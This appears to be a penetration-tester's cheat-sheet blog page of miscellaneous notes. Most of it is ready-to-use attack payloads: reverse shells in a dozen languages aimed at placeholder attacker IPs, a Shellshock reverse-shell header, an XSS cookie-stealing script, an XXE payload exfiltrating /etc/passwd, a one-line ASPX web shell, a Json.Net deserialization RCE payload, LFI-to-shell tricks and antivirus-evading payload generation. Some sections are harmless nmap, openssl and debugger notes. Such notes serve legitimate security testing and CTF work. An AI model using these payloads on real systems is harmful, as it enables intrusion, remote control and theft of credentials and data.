Misc Notes

7 minute read

General

Nmap host discovery:

nmap -sP -sn <targets>

Nmap quick script and version scan:

nmap -Pn -sC -sV <ip> -oA <out>

Nmap quick udp scan:

nmap -Pn --top-ports=100 -sC -sV -sU <ip> -oA <out>

Nmap file upload via put:

nmap -Pn -n -p 80 --script=http-put.nse --script-args http-put.file='<filename>',http-put.url='<filename' <ip>

Download all files from ftp fserver:

wget --no-passive --no-parent -r ftp://user:pass@server.com/

Mount ftp share locally:

mkdir /mnt/my_ftp
curlftpfs -o allow_other ftp-user:ftp-pass@my-ftp-location.local /mnt/my_ftp/

Compile java & create jar:

java -source 1.8 -target 1.8 <name>.java
mkdir META-INF; 
echo "Main-Class: <classname>" > META-INF/MANIFEST.MF
jar cmvf META-INF/MANIFEST.MF <name>.jar <name>.class

Upgrade basic shell:

python -c 'import tty; tty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/bash")'

Viewing the git reflog:

git reflog |  awk '{ print $1 }' | xargs gitk

Python oneliners, reading files and listing folders:

# Read File
[line.rstrip('\n') for line in open('/etc/passwd')]
# List Folder
path for dir_lst in map(os.listdir, filter(os.path.isdir, ['/home/'])) for path in dir_lst]

Retrieve PHP source via filter:

index.php?m=php://filter/convert.base64-encode/resource=index

Metasploit forward remote port to local:

portfwd add -l <lport> -p <rport> -r <rhost>

Metasploit run other payload (e.g. 32bit to 64bit shell):

windows/manage/payload_inject

Send payload over curl that needs escaping:

X=$(base64 -w0 payload.txt)

curl -s 'http://<ip>/endpoint/' \
     -H 'Host: <ip>' \
     -H "Bearer: $X" | jq -r .

XSS

Steal cookies:

<script src='http://<attackerip>/attacker.js'></script>
function addImg(){
    var img = document.createElement('img');
    img.src = 'http://<attackerip>/' + document.cookie;
    document.body.appendChild(img);
}
addImg();

Password cracking

Command Injection

Padding oracle

If a server gives errors on wrong cookies,the session id might be vulnerable to padding oracle attacks, which we can test with padbuster and gobuster

Dsstore

DSStore Files are placed when apple device access shares. If they happen to be on a webserver we can use them to enumerate the filesystem with ds_storescanner

Webdav

Use cadaver to connect and upload:

cadaver <ip> && put <filename>

Test which permissions are configured and which filetypes can be uploaded (this creates a lot of junk on the server if its vulnerable):

davtest -url <url>

If a certain extension is blocked for uploading you might be able to upload a harmless extension and then rename it to the one you want with move.

Shellshock

In user agent:

() { :; }; bash -i >& /dev/tcp/<ip>/<port> 0>&1

Keys and signing

Create key and csr:

openssl req -newkey rsa:4096 -keyout <user key> -out <user csr> -nodes -days 365 -subj "/CN=<name>"`

Sign csr with ca:

openssl x509 -req -in <user csr> -CA <ca cert> -CAkey <ca key> -out <signed user cert> -set_serial 01 -days 365

Convert to pkcs12 for use in browsers as client certificate:

openssl pkcs12 -export -clcerts -in <signed user cert> -inkey <user key> -out <user>.p12

Check key infos:

openssl rsa -pubin -inform PEM -text -noout < public.key

Decrypt file with key:

openssl rsautl -inkey key.priv -decrypt -in file.enc

Networking

Enable ip forwarding & nat, assuming eth1 is incoming and eth0 is outgoing:

sudo  sysctl net.ipv4.ip_forward=1
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo iptables -A FORWARD -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT
sudo iptables -A FORWARD -i eth1 -o eth0 -j ACCEPT

In a VMWare scenario you want to give both vms a simple host only interface.

Take a connection on 5000 and redirect it to :5001:

./socat tcp-listen:5000,reuseaddr,fork tcp::5001

Bypass python builtins none

Python2:

().__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__']('os').system('whoami')

Python3:

[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'Pattern'][0].__init__.__globals__['__builtins__']['__import__']('os').system('whoami')

Extract special files

Initrd:

zcat <image> | cpio -idmv

WinDBG

  • disassemble: u <addr>,uf <addr>
  • continue: g
  • step: p
  • dump memory: dd <addr>
  • dump registers: r
  • dump call stack: k
  • list breakpoints: bl
  • exception info: !analyze
  • memory mapping: !address
  • heap info: !heap

GDB with GEF

  • disassemble: disas <addr>
  • continue: c
  • step: s
  • step over: n
  • finish function: fin
  • dump memory: x/20x <addr>
  • dump registers: info registers
  • dump call stack: bt
  • list breakpoints: info break
  • memory mapping: vmmap
  • heap infos: heap chunks,print main_arena
  • show GOT: print $_got()
  • pattern: pattern create <n>, pattern search <offset>
  • shellcode: shellcode search <arch>, shellcode get <num>

Imap login:

a login <username>@<domain> <password>

Imap list mailboxes:

a LIST "" "*"

Imap select mailbox

a SELECT <mailboxname>

Imap search messages:

a UID SEARCH ALL`

Imap Read Messages

a UID FETCH <ID> (BODY[1.1])
BODY.PEEK[]
UID FETCH <uid> (BODY[1])

Connect to pop3:

openssl s_client -connect <ip>:<port> -crlf

Send Mail from CLI:

sendEmail -t <rcptAddr> -f <senderAddr> -s <mailSrvAddr> -u "Some Subject" -m "Some Content"

Convert putty ppk to openssh rsa:

puttygen private.ppk -O private-openssh -o private.ssh

Encrypt files on windows with powershell:

# https://gallery.technet.microsoft.com/scriptcenter/EncryptDecrypt-files-use-65e7ae5d
$key = New-CryptographyKey -Algorithm AES  
# Encrypt the file 
Protect-File '.\secrets.txt' -Algorithm AES -Key $key -RemoveSource 
# Decrypt the file 
Unprotect-File '.\secrets.txt.AES' -Algorithm AES -Key $key -RemoveSource

Shells

A collection of various shells. Some of these are based on this cheatsheet by pentestmonkey.

PHP web shell:

PHP reverse shell:

php -r '$sock=fsockopen("<ip>",<port>);exec("/bin/sh -i <&3 >&3 2>&3");'

Openssl reverse shell:

"openssl.exe s_client -quiet -connect <ip>:<port> | cmd.exe | openssl.exe s_client -quiet -connect <ip><port>

Bash reverse shell:

bash -i >& /dev/tcp/<ip>/<port> 0>&1

Perl reverse shell:

perl -e 'use Socket;$i="<ip>";$p=<port>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Python reverse shell:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Ruby reverse shell:

ruby -rsocket -e'f=TCPSocket.open("<ip>",<port>).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Java reverse shell:

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/<ip>/<port>;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Xterm shell:

xterm -display <ip>:<number>

Nc shell:

nc <ip> <port> -e /bin/sh

Netcat shell:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ip> <port> >/tmp/f

ASP web shell:

ASPX web shell:

<%response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall()%>

ICMP reverse shell via Invoke-PowerShellIcmp, run on victim:

Invoke-PowerShellIcmp -IPAddress <attackerip>

Powershell:

$client = New-Object System.Net.Sockets.TCPClient("<ip>",<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Generate shells with shellpop:

shellpop --reverse --number 5 --host <interface> --port <port>

Setuid shell:

int main()
{
  setuid(geteuid());
  system("/bin/bash");
  return 0;
}

Dll shells:

GreatSCT for creating av evading meterpreter payloads:

# install as root/su to root
python3 GreatSct.py
use 1
use 16
set lhost <lhost>
set lport <lport>
generate

XXE

Common XXE (sends file on target system to us):

<?xml version="1.0"?>
<!DOCTYPE xct[
	<!ELEMENT xct ANY>
	<!ENTITY % dtd SYSTEM "http://<attackerip>/payload.dtd">
%dtd;]>
<xct></xct>
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://<attackerip>/collect=%file'>">
%all 

Instead of File we could also use php://filter here. You probably want to script this for enumerating a target.

Java Deserialization

  • Do some research about the application, especially which libraries it uses
  • Generate payload with ysoerial using java -jar ysoserial.jar <lib> <cmd>
  • encode/encrypt the payload (according to targets needs)

Json.Net Deserialization

RCE payload (can also be created with ysoerial.net):

{
    '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
    'MethodName':'Start',
    'MethodParameters':{
        '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        '$values':['cmd','/c <payload>']
    },
    'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

Pivoting through a web hosted socks proxy (reGeorg)

  • download reGeorg
  • upload one of the tunnel files to the target (might need to change some strings to trick AV)
  • adjust local /etc/proxychains.conf to a port of choice
  • run reGeorg:
    python reGeorgSocksProxy.py -u http://<ip>/<tunnel file> -p <socks port>
    

Web Fuzzing

Filters (ffuf):

# Exclude
-fc(chars), -fr(regex), -fs(string), -fw(words)
# Include
-mc(chars), -mr(regex), -ms(string), -mw(words)

Fuzzing (ffuf):

# params via get
ffuf -w ./input -u http://<file>?<param>=FUZZ  -t <threads>
# params via post
ffuf -w ./input -X POST -d "params" -u http://<url> -t <threads>

Create Zip Slip Files

Esoteric Languages / Encodings

Encode existing payload with msfvenom

msfvenom -f raw -i 33 -a x86_64 --platform windows -e x86/shikata_ga_nai -p generic/custom PAYLOADFILE=<file> -o <enc_file>

Create chm payload

Use a Windows VM, install the required tools from here, then get the scricpt Out-CHM.ps1 and create your payload:

Out-CHM -Payload C:\Windows\System32\spool\drivers\color\nc.exe -HHCPath "C:\Program Files (x86)\HTML Help Workshop"

From LFI to shell

  • use page=php://input, payload must be in the POST Body (but the request is GET), e.g. <?php echo system('whoami');?>, this is also possible for zip:// and phar://
  • get source code with filter: page=php://filter/convert.base64-encode/resource=<filename>
  • page=../../../../../proc/self/environ, if this is acceissble we can set the user agent to php code in <?php .. ?> and get it executed, this can also be done for /proc/self/id/<id> and the referer field (bruteforce the id)
  • log poisoning, write php into log via error message and request via lfi
  • session poisoning, write a malicious session variable and include the session from /var/lib/phpX/sess_<phpsessid>

Many of these techniques are automated and implemented in LFISuite.

Other

Java reversing challenges can be sometimes copy pasted into a node shell (because the syntax is very similar), e.g.:

> node
> password = "jU5t_a_sna_3lpm1dg347_u_4_mfr54b"
> var i;
> var buffer = Array(32);
> for (i=0; i<8; i++) {
...     buffer[i] = password.charAt(i);
... }
> for (; i<16; i++) {
...     buffer[i] = password.charAt(23-i);
... }
> for (; i<32; i+=2) {
...     buffer[i] = password.charAt(46-i);
... }
> for (i=31; i>=17; i-=2) {
...     buffer[i] = password.charAt(i);
... }
> console.log("picoCTF{" + buffer.join("") + "}");

Various useful tools

Remove obfuscation from .net

Online solvers for crypto/misc challenges

Updated: